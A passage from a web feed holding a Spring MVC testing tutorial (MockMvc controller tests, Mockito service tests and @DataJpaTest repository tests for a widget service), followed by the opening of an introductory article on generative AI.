<p class="wp-block-paragraph">Here’s the source code for the controller we’ll be testing (<code>WidgetController.java</code>):</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.web;

import java.net.URI;
import java.net.URISyntaxException;
import java.util.List;
import java.util.Optional;
import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.service.WidgetService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class WidgetController {
    @Autowired
    private WidgetService widgetService;
    @GetMapping("/widget/{id}")
    public ResponseEntity getWidget(@PathVariable Long id) {
        return widgetService.findById(id)
                .map(widget -&gt; {
                    try {
                        return ResponseEntity
                                .ok()
                                .location(new URI("/widget/" + id))
                                .eTag(Integer.toString(
                                               widget.getVersion()))
                                .body(widget);
                    } catch (URISyntaxException e) {
                        return ResponseEntity
                          .status(HttpStatus.INTERNAL_SERVER_ERROR)
                          .build();
                    }
                })
                .orElse(ResponseEntity.notFound().build());
    }
    @GetMapping("/widgets")
    public List getWidgets() {
        return widgetService.findAll();
    }
    @PostMapping("/widgets")
    public ResponseEntity createWidget(@RequestBody Widget widget)
    {
        Widget newWidget = widgetService.create(widget);
        try {
           return ResponseEntity
                   .created(new URI("/widget/" + newWidget.getId()))
                   .eTag(Integer.toString(newWidget.getVersion()))
                   .body(newWidget);
        } catch (URISyntaxException e) {
            return ResponseEntity
                    .status(HttpStatus.INTERNAL_SERVER_ERROR)
                    .build();
        }
    }

    @PutMapping("/widget/{id}")
    public ResponseEntity updateWidget(@PathVariable Long id,
                                          @RequestBody Widget widget,
                         @RequestHeader("If-Match") Integer ifMatch) {
        Optional existingWidget = widgetService.findById(id);
        return existingWidget.map(w -&gt; {
            if (w.getVersion() != ifMatch) {
                return ResponseEntity.status(HttpStatus.CONFLICT)
                                     .build();
            }

            w.setName(widget.getName());
            w.setVersion(w.getVersion() + 1);

            Widget updatedWidget = widgetService.save(w);
            try {
                return ResponseEntity.ok()
                        .location(new URI("/widget/" + 
                                      updatedWidget.getId()))
                        .eTag(Integer.toString(
                                      updatedWidget.getVersion()))
                        .body(updatedWidget);
            } catch (URISyntaxException e) {
                throw new RuntimeException(e);
            }
        }).orElse(ResponseEntity.notFound().build());
    }

    @DeleteMapping("widget/{id}")
    public ResponseEntity deleteWidget(@PathVariable Long id) {
        Optional existingWidget = widgetService.findById(id);
        return existingWidget.map(w -&gt; {
           widgetService.deleteById(w.getId());
           return ResponseEntity.ok().build();
        }).orElse(ResponseEntity.notFound().build());
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetController</code> handles <code>GET</code>, <code>POST</code>, <code>PUT</code>, and <code>DELETE</code> operations, following standard RESTful principles, so we’re going to write tests for each operation.</p>



<p class="wp-block-paragraph">The following source code shows the structure of our test class (<code>WidgetControllerTest.java</code>):</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.web;

@WebMvcTest(WidgetController.class)
public class WidgetControllerTest {
    @Autowired
    private MockMvc mockMvc;

    @MockitoBean
    private WidgetService widgetService;
}</code></pre>



<p class="wp-block-paragraph">I omitted the imports for readability, but the important thing to note is that the class is annotated with the <code>@WebMvcTest</code> annotation, and that we pass in the <code>WidgetController.class</code> as the controller we’re testing. This tells Spring to only load the <code>WidgetController</code> and no other Spring resources. The <code>@WebMvcTest</code> annotation includes other annotations, but the important one for our tests is <code>@AutoConfigureMockMvc</code>, which will cause Spring to create a <code>MockMvc</code> instance and add it to the application context. That lets us autowire it into our test class using the <code>@Autowired</code> annotation.</p>



<p class="wp-block-paragraph">Next, we use the <code>@MockitoBean</code> annotation to use Mockito to create a mock implementation of the <code>WidgetService</code>, after which Spring will autowire it into the <code>WidgetController</code> class. This lets us control the behavior of the <code>WidgetService</code> for the <code>WidgetController</code> test cases we’re writing. Note that starting in Spring Boot version 3.4, <code>@MockitoBean</code> replaced <code>@MockBean</code>. Everything you know about <code>@MockBean</code> translates to using <code>@MockitoBean</code>—with some improvements.</p>



<h3 class="wp-block-heading">Unit testing GET /widgets</h3>



<p class="wp-block-paragraph">Let’s start with the easiest test case, a test for <code>GET /widgets</code>:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgets() throws Exception {
    List widgets = new ArrayList();
    widgets.add(new Widget(1L, "Widget 1", 1));
    widgets.add(new Widget(2L, "Widget 2", 1));
    widgets.add(new Widget(3L, "Widget 3", 1));

    when(widgetService.findAll()).thenReturn(widgets);

    mockMvc.perform(get("/widgets"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.length()").value(3))
            .andExpect(jsonPath("$[0].id").value(1L))
            .andExpect(jsonPath("$[0].name").value("Widget 1"))
            .andExpect(jsonPath("$[0].version").value(1));
};</code></pre>



<p class="wp-block-paragraph">The <code>testGetWidgets()</code> method creates a list of three widgets and then configures the mock <code>WidgetService</code> to return the list when its <code>findAll()</code> method is called. The <code>WidgetControllerTest</code> class statically imports the <code>org.mockito.Mockito.when()</code> method that accepts a method call, which in this case is <code>widgetService.findAll()</code>, and returns a Mockito <code>OngoingStubbing</code> instance. This <code>OngoingStubbing</code> instance exposes methods like <code>thenReturn()</code>, <code>thenThrow()</code>, <code>thenCallRealMethod()</code>, <code>thenAnswer()</code>, and <code>then()</code>.</p>



<p class="wp-block-paragraph">Here, we use the <code>thenReturn()</code> method to tell Mockito to return the list of widgets when the <code>WidgetService</code>’s <code>findAll()</code> method is called. The <code>@MockitoBean</code> annotation causes the mock <code>WidgetService</code> to be autowired into the <code>WidgetController</code>. So, when the <code>getWidgets()</code> method is called in response to a <code>GET /widgets</code>, it calls the <code>WidgetService</code>’s <code>findAll()</code> method and returns our list of widgets as a web response.</p>



<p class="wp-block-paragraph">Next, we use <code>MockMvc</code>’s <code>perform()</code> method to execute a web request. This diagram shows the various classes that interact with the  <code>perform()</code> method:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/TestingSpringMVC-fig2.png?w=1024" alt="Diagram of classes that interact with the MockMvc perform() method." class="wp-image-4078130" width="1024" height="439" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Steven Haines</p></div>



<p class="wp-block-paragraph">The <code>perform()</code> method accepts a <code>RequestBuilder</code>. Spring defines several built-in <code>RequestBuilder</code>s that we can statically import into our tests, including <code>get()</code>, <code>post()</code>, <code>put()</code>, and <code>delete()</code>. The <code>perform()</code> method returns a <code>ResultActions</code> instance that exposes methods such as <code>andExpect()</code>, <code>andExpectAll()</code>, <code>andDo()</code>, and <code>andReturn()</code>. Here, we invoke the <code>andExpect()</code> method, which accepts a <code>ResultMatcher</code>. </p>



<p class="wp-block-paragraph">A <code>ResultMatcher</code> defines a<code> match()</code> method that throws an <code>AssertionError</code> if the assertion fails. Spring defines several <code>ResultMatcher</code>s that we can statically import:</p>



<ul class="wp-block-list">
<li><code>status()</code> allows us to check the HTTP status code of response.</li>



<li><code>content()</code> allows us to check the content headers of the response, such as <code>Content-Type</code>.</li>



<li><code>header()</code> allows us to check any of the HTTP header values.</li>



<li><code>jsonPath()</code> allows us to inspect the contents of a <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html" data-type="link" data-id="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON document</a>.</li>
</ul>



<p class="wp-block-paragraph">After MockMvc performs a <code>GET to /widgets</code>, we expect the HTTP status code to be <code>200 OK</code>.  We can then use the <code>jsonPath</code> matcher to check the body results, using the following JSON path expressions:</p>



<ul class="wp-block-list">
<li><code>$.length()</code>: The <code>$</code> references the root of the JSON document. If the response is a list, then we can call the <code>length()</code> method to get the number of elements in the list.</li>



<li><code>$[0].id</code>: JSON path expressions for a list use an array syntax starting at 0. This expression gets the ID of the first element in the list.</li>



<li><code>$[0].name</code>: This expression gets the name of the first element and compares it to “<code>Widget 1</code>”.</li>



<li><code>$[0].version</code>: This expression gets the version of the first element and compares it to 1.</li>
</ul>



<h3 class="wp-block-heading">Unit testing the GET /widget/{id} handler</h3>



<p class="wp-block-paragraph">Here’s the source code to test the <code>GET /coffee/{id}</code> widget:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgetById() throws Exception {
    Widget widget = new Widget(1L, "My Widget", 1);          
    when(widgetService.findById(1L))
           .thenReturn(Optional.of(widget));

    mockMvc.perform(get("/widget/{id}", 1))
            // Validate that we get a 200 OK Response Code
            .andExpect(status().isOk())

            // Validate Headers
            .andExpect(content()
                      .contentType(MediaType.APPLICATION_JSON))
            .andExpect(header().string(HttpHeaders.LOCATION,
                                       "/widget/1"))
            .andExpect(header().string(HttpHeaders.ETAG, "\"1\""))

            // Validate content
            .andExpect(jsonPath("$.id").value(1L))
            .andExpect(jsonPath("$.name").value("My Widget"))
            .andExpect(jsonPath("$.version").value(1));
 }</code></pre>



<p class="wp-block-paragraph">This test method is very similar to the <code>testGetWidgets()</code> method, but with some notable changes:</p>



<ul class="wp-block-list">
<li>The <code>GET</code> URI is defined using a URI template. You can specify any number of variables enclosed in braces in the URI template and then send a list of arguments that will replace those variables in the order they appear in the template.</li>



<li>We check that the returned <code>Content-Type</code> is <code>“application/json”</code>, which is a constant in the <code>MediaType</code> class. We access the content using the <code>content()</code> method, which returns a <code>ContentResultMatchers</code> instance that provides various methods, including <code>contentType()</code>, which allows us to validate the content headers.</li>



<li>We check for specific header values using the <code>header()</code> method. The <code>header()</code> method returns a <code>HeadersResultMatchers</code> instance, which can check for header <code>String</code>, <code>long</code>, and <code>date</code> values, as well as checking to see whether or not specific headers exist. In this case, we use constants defined in the <code>HttpHeaders</code> class to check the <code>location</code> and <code>eTag</code> header values.</li>



<li>We check the body of the response using JSON path expressions. In this case, we do not have a list of objects, so we can access the individual fields in the JSON document directly. For example, <code>$.id</code> retrieves the <code>id</code> field value in the root of the document.</li>
</ul>



<h3 class="wp-block-heading">Unit testing a GET /widget/{id} Not Found code</h3>



<p class="wp-block-paragraph">Next, we test the <code>GET /widget/{id}</code>, passing it an invalid ID so that it returns a 404 Not Found response code:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgetByIdNotFound() throws Exception {
   when(widgetService.findById(1L)).thenReturn(Optional.empty());

   mockMvc.perform(get("/widget/{id}", 1))
            // Validate that we get a 404 Not Found Response Code
            .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">The <code>testGetWidgetByIdNotFound()</code> method configures the mock <code>WidgetService</code> to return <code>Optional.empty()</code> when its <code>findById()</code> is called with a value of 1. We then perform a <code>GET</code> request to <code>/widget/1</code>, then assert that the returned HTTP status code is 404 Not Found.</p>



<h3 class="wp-block-heading">Unit testing POST /widgets</h3>



<p class="wp-block-paragraph">Here’s how to test a <code>Widget</code> creation:</p>



<pre class="wp-block-code"><code>@Test
void testCreateWidget() throws Exception {
    Widget widget = new Widget(1L, "Widget 1", 1);
    when(widgetService.create(any())).thenReturn(widget);

    mockMvc.perform(post("/widgets")
            .contentType(MediaType.APPLICATION_JSON)
            .content("{\"name\": \"Widget 1\"}"))

            // Validate that we get a 201 Created Response Code
            .andExpect(status().isCreated())

            // Validate Headers
            .andExpect(content().contentType(
                                      MediaType.APPLICATION_JSON))
            .andExpect(header().string(HttpHeaders.LOCATION, 
                                       "/widget/1"))
            .andExpect(header().string(HttpHeaders.ETAG, "\"1\""))

            // Validate content
            .andExpect(jsonPath("$.id").value(1L))
            .andExpect(jsonPath("$.name").value("Widget 1"))
            .andExpect(jsonPath("$.version").value(1));</code></pre>



<p class="wp-block-paragraph">The <code>testCreateWidget()</code> method first creates a <code>Widget</code> to return when the <code>WidgetService</code>’s <code>create()</code> method is called with any argument. The <code>any()</code> matcher matches any argument and, because the <code>createWidget()</code> handler will create a new <code>Widget</code> instance, we will not have access to that instance when the test runs. We then invoke MockMvc’s <code>perform()</code> method to the <code>”/widgets”</code> URI, sending the content body of a new widget named <code>“Widget 1”</code>, using the <code>content()</code> method. We expect a 201 Created HTTP response code, an “<code>application/json</code>” content type, a location header of “<code>/widget/1</code>”, and an <code>eTag</code> value of the <code>String</code> “<code>1</code>”. The body of the response should match the <code>Widget</code> we returned from the <code>create()</code> method, namely an ID of 1, a name of “Widget 1”, and a version of 1.</p>



<h3 class="wp-block-heading">Unit testing PUT /widget</h3>



<p class="wp-block-paragraph">This code runs three tests for the <code>PUT</code> operation:</p>



<pre class="wp-block-code"><code>@Test
public void testSuccessfulUpdate() throws Exception {
    // Create a mock Widget when the WidgetService's findById(1L) 
    // is called
    Widget mockWidget = new Widget(1L, "Widget 1", 5);
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));

    // Create a mock Coffee that is returned when the 
    // CoffeeController saves the Coffee to the database
    Widget savedWidget = new Widget(1L, "Updated Widget 1", 6);
    when(widgetService.save(any())).thenReturn(savedWidget);

    // Execute a PUT /widget/1 with a matching version: 5
    mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 5)
                    .content("{\"id\": 1, " +
                             "\"name\": \"Updated Widget 1\"}"))

            // Validate that we get a 200 OK HTTP Response
           .andExpect(status().isOk())

            // Validate the headers
           .andExpect(content()
                        .contentType(MediaType.APPLICATION_JSON))
           .andExpect(header().string(HttpHeaders.LOCATION, 
                                      "/widget/1"))
           .andExpect(header().string(HttpHeaders.ETAG, "\"6\""))

           // Validate the contents of the response
           .andExpect(jsonPath("$.id").value(1L))
           .andExpect(jsonPath("$.name")
                               .value("Updated Widget 1"))
           .andExpect(jsonPath("$.version").value(6));
}

@Test
public void testUpdateConflict() throws Exception {
   // Create a mock coffee with a version set to 5
   Widget mockWidget = new Widget(1L, "Widget 1", 5);

    // Return the mock Coffee when the CoffeeService's 
    // findById(1L) is called
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));

    // Execute a PUT /widget/1 with a mismatched version number: 2
    mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 2)
                    .content("{\"id\": 1, " + 
                             "\"name\":  \"Updated Widget 1\"}"))
             // Validate that we get a 409 Conflict HTTP Response
            .andExpect(status().isConflict());
}

@Test
public void testUpdateNotFound() throws Exception {
   // Return the mock Coffee when the CoffeeService's 
   // findById(1L) is called
   when(widgetService.findById(1L)).thenReturn(Optional.empty());

   // Execute a PUT /coffee/1 with a mismatched version number: 2
   mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 2)
                    .content("{\"id\": 1, " + 
                             "\"name\":  \"Updated Coffee 1\"}"))

           // Validate that we get 404 Not Found
           .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">We have three variations:</p>



<ul class="wp-block-list">
<li>A successful update.</li>



<li>A failed update because of a version conflict.</li>



<li>A failed update because the widget was not found.</li>
</ul>



<p class="wp-block-paragraph">In RESTful web services, version management is handled by the entity tag, or<code> eTag</code>. When you retrieve an entity, it has an <code>eTag</code> value. When you want to update the entity, you pass that <code>eTag</code> value in the <code>If-Match</code> HTTP header. If the <code>If-Match</code> header does not match the current <code>eTag</code>, which is the <code>Widget</code> version in our implementation, then the <code>PUT</code> handler returns a 409 Conflict HTTP response code. If you get this error, it means that you need to retrieve the entity again and retry your operation. This way, if two different clients attempt to update the same entity simultaneously, only one will succeed.</p>



<p class="wp-block-paragraph">In the <code>testSuccessfulUpdate() </code>method, we return a <code>Widget</code> with a version of 5 when the <code>WidgetService</code>’s <code>findById()</code> method is called. We then pass an <code>If-Match</code> header value of 5 and then validate that we get a 200 OK HTTP response code and the expected header and body values. In the <code>testUpdateConflict()</code> method, we do the same thing, but we set the <code>If-Match</code> header to 2, which does not match 5, so we validate that we get a 409 Conflict HTTP response code. And finally, in the <code>testUpdateNotFound()</code> method, we configure the <code>WidgetService</code> to return an <code>Optional.empty()</code> when its <code>findById()</code> method is called, so we execute the <code>PUT</code> operation and validate that we get a 404 Not Found HTTP response code.</p>



<h3 class="wp-block-heading">Unit testing DELETE /widget</h3>



<p class="wp-block-paragraph">Finally, here is the source code for our two <code>DELETE /widget</code> tests:</p>



<pre class="wp-block-code"><code>@Test
void testDeleteSuccess() throws Exception {
    // Setup mocked product
    Widget mockWidget = new Widget(1L, "Widget 1", 5);

    // Setup the mocked service
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));
    doNothing().when(widgetService).deleteById(1L);

    // Execute our DELETE request
    mockMvc.perform(delete("/widget/{id}", 1L))
            .andExpect(status().isOk());
}

@Test
void testDeleteNotFound() throws Exception {
    // Setup the mocked service
    when(widgetService.findById(1L)).thenReturn(Optional.empty());

    // Execute our DELETE request
    mockMvc.perform(delete("/widget/{id}", 1L))
            .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">The <code>DELETE</code> handler first tries to find the widget by ID and then calls the<code> WidgetService</code>’s <code>deleteById()</code> method. The <code>testDeleteSuccess()</code> method configures the <code>WidgetService</code> to return a mock <code>Widget</code> when the <code>findById()</code> method is called and then configures it to do nothing when the <code>deleteById()</code> method is called. The <code>deleteById()</code> method returns void, so we do not need to mock a response, though we do want to allow the method to be called. We execute the <code>DELETE</code> operation and validate that we receive a 200 OK HTTP response code. The<code> testDeleteNotFound()</code> method configures the <code>WidgetService</code> to return <code>Optional.empty()</code> when its <code>findById()</code> method is called. We execute the <code>DELETE</code> operation and validate that we receive a 404 Not Found HTTP response code.</p>



<p class="wp-block-paragraph">At this point, we have a comprehensive set of tests for all of our controller operations. Let’s continue down our stack and test our service.</p>



<h2 class="wp-block-heading">Unit testing a Spring MVC service</h2>



<p class="wp-block-paragraph">Next, we’ll test a <code>WidgetService</code> class, shown here:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.service;

import java.util.List;
import java.util.Optional;

import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.repository.WidgetRepository;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

@Service
public class WidgetService {
    @Autowired
    private WidgetRepository widgetRepository;

    public List findAll() {
        return widgetRepository.findAll();
    }

    public Optional findById(Long id) {
        return widgetRepository.findById(id);
    }

    public Widget create(Widget widget) {
        widget.setVersion(1);
        return widgetRepository.save(widget);
    }

    public Widget save(Widget widget) {
        return widgetRepository.save(widget);
    }

    public void deleteById(Long id) {
        widgetRepository.deleteById(id);
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetService</code> is very simple. It autowires in a <code>WidgetRepository</code> and then delegates almost all its functionality to the <code>WidgetRepository</code>. The only business logic it implements is that it sets the <code>Widget</code> version to 1 in the <code>create()</code> method, when it is persisting a new <code>Widget</code> to the database.</p>



<p class="wp-block-paragraph">While Spring supports slice testing for our controller and (as you’ll soon see) our repository, it doesn’t have a slice testing annotation for our service. We could use the <code>@SpringBootTest</code> annotation, but then Spring would load all the controllers, repositories, and any other Spring resources in our application into the Spring application context. We can avoid by using Mockito directly. </p>



<p class="wp-block-paragraph">Here is the source code for the <code>WidgetServiceTest</code> class:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.service;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.Mockito.when;

import java.util.Optional;

import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.repository.WidgetRepository;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;

@ExtendWith(MockitoExtension.class)
public class WidgetServiceTest {
    @Mock
    private WidgetRepository repository;

    @InjectMocks
    private WidgetService service;

    @Test
    void testFindById() {
        Widget widget = new Widget(1L, "My Widget", 1);
        when(repository.findById(1L)).thenReturn(Optional.of(widget));

        Optional w = service.findById(1L);
        assertTrue(w.isPresent());
        assertEquals(1L, w.get().getId());
        assertEquals("My Widget", w.get().getName());
        assertEquals(1, w.get().getVersion());
    }
}</code></pre>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">JUnit 5 supports extensions</a> and Mockito has defined a test extension that we can access through the <code>@ExtendWith</code> annotation. This extension allows Mockito to read our class, find objects to mock, and inject mocks into other classes. The <code>WidgetServiceTest </code>tells Mockito to create a mock <code>WidgetRepository</code>, by annotating it with the <code>@Mock</code> annotation, and then to inject that mock into the <code>WidgetService</code>, using the <code>@InjectMocks</code> annotation. The result is that we have a <code>WidgetService</code> that we can test and it will have a mock <code>WidgetRepository</code> that we can configure for our test cases.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">Advanced unit testing with JUnit 5, Mockito, and Hamcrest</a>.</strong></p>



<p class="wp-block-paragraph">This is not a comprehensive test, but it should get you started. It has a single method, <code>testFindById()</code>, that demonstrates how to test a service method. It creates a mock <code>Widget</code> instance and then uses the Mockito <code>when()</code> method, just as we used in the controller test, to configure the <code>WidgetRepository</code> to return an <code>Optional</code> of that <code>Widget</code> when its <code>findById()</code> method is called. Then it invokes the <code>WidgetService</code>’s <code>findById()</code> method and validates that the mock <code>Widget</code> is returned.</p>



<h2 class="wp-block-heading">Slice testing a Spring Data JPA repository</h2>



<p class="wp-block-paragraph">Next, we’ll slice test our JPA repository (<code>WidgetRepository.java</code>), shown here:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.repository;

import java.util.List;
import com.infoworld.widgetservice.model.Widget;
import org.springframework.data.jpa.repository.JpaRepository;

public interface WidgetRepository extends JpaRepository {
    List findByName(String name);
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetRepository</code> is a Spring Data JPA repository, which means that we define the interface and Spring generates the implementation. It extends the <code>JpaRepository</code> interface, which accepts two arguments:</p>



<ul class="wp-block-list">
<li>The type of entity that it persists, namely a <code>Widget</code>.</li>



<li>The type of primary key, which in this case is a <code>Long</code>.</li>
</ul>



<p class="wp-block-paragraph">It generates common CRUD method implementations for us to create, update, delete, and find widgets, and then we can define our own query methods using a specific naming convention. For example, we define a <code>findByName()</code> method that returns a <code>List</code> of <code>Widget</code>s. Because “<code>name</code>” is a field in our <code>Widget</code> entity, Spring will generate a query that finds all widgets with the specified name.</p>



<p class="wp-block-paragraph">Here is our <code>WidgetRepositoryTest</code> class:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.repository;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertNull;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

import com.infoworld.widgetservice.model.Widget;

import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.boot.test.autoconfigure.orm.jpa.TestEntityManager;

@DataJpaTest
public class WidgetRepositoryTest {
    @Autowired
    private TestEntityManager entityManager;

    @Autowired
    private WidgetRepository widgetRepository;

    private final List widgetIds = new ArrayList();
    private final List testWidgets = Arrays.asList(
            new Widget("Widget 1", 1),
            new Widget("Widget 2", 1),
            new Widget("Widget 3", 1)
    );

    @BeforeEach
    void setup() {
        testWidgets.forEach(widget -&gt; {
            entityManager.persist(widget);
            widgetIds.add((Long)entityManager.getId(widget));
        });
        entityManager.flush();
    }

    @AfterEach
    void teardown() {
        widgetIds.forEach(id -&gt; {
            Widget widget = entityManager.find(Widget.class, id);
            if (widget != null) {
                entityManager.remove(widget);
            }
        });
        widgetIds.clear();
    }

    @Test
    void testFindAll() {
        List widgetList = widgetRepository.findAll();
        assertEquals(3, widgetList.size());
    }

    @Test
    void testFindById() {
        Widget widget = widgetRepository.findById(
                               widgetIds.getFirst()).orElse(null);

        assertNotNull(widget);
        assertEquals(widgetIds.getFirst(), widget.getId());
        assertEquals("Widget 1", widget.getName());
        assertEquals(1, widget.getVersion());
    }

    @Test
    void testFindByIdNotFound() {
        Widget widget = widgetRepository.findById(
            widgetIds.getFirst() + testWidgets.size()).orElse(null);
        assertNull(widget);
    }

    @Test
    void testCreateWidget() {
        Widget widget = new Widget("New Widget", 1);
        Widget insertedWidget = widgetRepository.save(widget);

        assertNotNull(insertedWidget);
        assertEquals("New Widget", insertedWidget.getName());
        assertEquals(1, insertedWidget.getVersion());
        widgetIds.add(insertedWidget.getId());
    }

    @Test
    void testFindByName() {
        List found = widgetRepository.findByName("Widget 2");
        assertEquals(1, found.size(), "Expected to find 1 Widget");

        Widget widget = found.getFirst();
        assertEquals("Widget 2", widget.getName());
        assertEquals(1, widget.getVersion());
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetRepositoryTest</code> class is annotated with the <code>@DataJpaTest</code> annotation, which is a slice-testing annotation that loads repositories and entities into the Spring application context and creates a <code>TestEntityManager</code> that we can autowire into our test class. The <code>TestEntityManager</code> allows us to perform database operations outside of our repository so that we can set up and tear down our test scenarios.</p>



<p class="wp-block-paragraph">In the <code>WidgetRepositoryTest</code> class, we autowire in both our <code>WidgetRepository</code> and <code>TestEntityManager</code>. Then, we define a <code>setup()</code> method that is annotated with JUnit’s <code>@BeforeEach</code> annotation, so it will be executed <em>before</em> each test case runs. Next, we define a <code>teardown()</code> method that is annotated with JUnit’s <code>@AfterEach</code> annotation, so it will be executed <em>after</em> each test completes. The class defines a <code>testWidgets</code> list that contains three test widgets and then the <code>setup()</code> method inserts those into the database using the <code>TestEntityManager</code>’s <code>persist()</code> method. After it inserts each widget, it saves the automatically generated ID so that we can reference it in our tests. Finally, after persisting the widgets, it flushes them to the database by calling the <code>TestEntityManager</code>’s <code>flush()</code> method. The <code>teardown()</code> method iterates over all <code>Widget</code> IDs, finds the <code>Widget</code> using the <code>TestEntityManager</code>’s <code>find()</code> method, and, if it is found, removes it from the database. Finally, it clears the widget ID list so that the<code> setup()</code> method can rebuild it for the next test. (Note that the <code>TestEntityManager</code> removes entities directly; it does not have a <em>remove by ID</em> method, so we first have to find each <code>Widget</code> and then remove them one-by-one.)</p>



<p class="wp-block-paragraph">Even though most of the methods being tested are autogenerated and well tested, I wanted to demonstrate how to write several kinds of tests. The only method that we really need to test is the <code>findByName()</code> method because that is the only custom method we define. For example, if we were to define the method as <code><em>findByNam()</em></code> instead of <code>findByName()</code>, then the method would not work, so it is definitely worth testing.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Spring provides robust support for testing each layer of a Spring MVC application. In this article, we reviewed how to test controllers, using <a href="https://docs.spring.io/spring-framework/reference/testing/mockmvc.html" data-type="link" data-id="https://docs.spring.io/spring-framework/reference/testing/mockmvc.html">MockMvc</a>; services, using the <a href="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html" data-type="link" data-id="https://www.infoworld.com/article/4009216/advanced-unit-testing-with-junit-5-mockito-and-hamcrest.html">JUnit Mockito extension</a>; and repositories, using the Spring <a href="https://docs.spring.io/spring-boot/api/java/org/springframework/boot/test/autoconfigure/orm/jpa/TestEntityManager.html" data-type="link" data-id="https://docs.spring.io/spring-boot/api/java/org/springframework/boot/test/autoconfigure/orm/jpa/TestEntityManager.html">TestEntityManager</a>. We also reviewed slice testing as a strategy to reduce testing resource utilization and minimize the time required to execute tests. Slice testing is implemented in Spring using the <code>@WebMvcTest</code> and <code>@DataJpaTest</code> annotations. I hope these examples have given you everything you need to feel comfortable writing robust tests for your Spring MVC applications.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is generative AI? How artificial intelligence creates content]]></title>
<description><![CDATA[Generative AI is a kind of artificial intelligence that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.



Today’s generative models are typically built on foundation-model architectures such as large-language models (LLMs) and m...]]></description>
<link>https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665675/ai-nachrichten/what-is-generative-ai-how-artificial-intelligence-creates-content/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Generative AI is a kind of <a href="https://www.computerworld.com/article/1647870/what-is-artificial-intelligence.html">artificial intelligence</a> that creates new content, including text, images, audio, and video, based on patterns it has learned from existing data.</p>



<p class="wp-block-paragraph">Today’s generative models are typically built on foundation-model architectures such as <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large-language models (LLMs)</a> and multimodal systems, enabling them to carry on conversations, answer questions, write stories, generate code, and produce images or videos from brief prompts.</p>



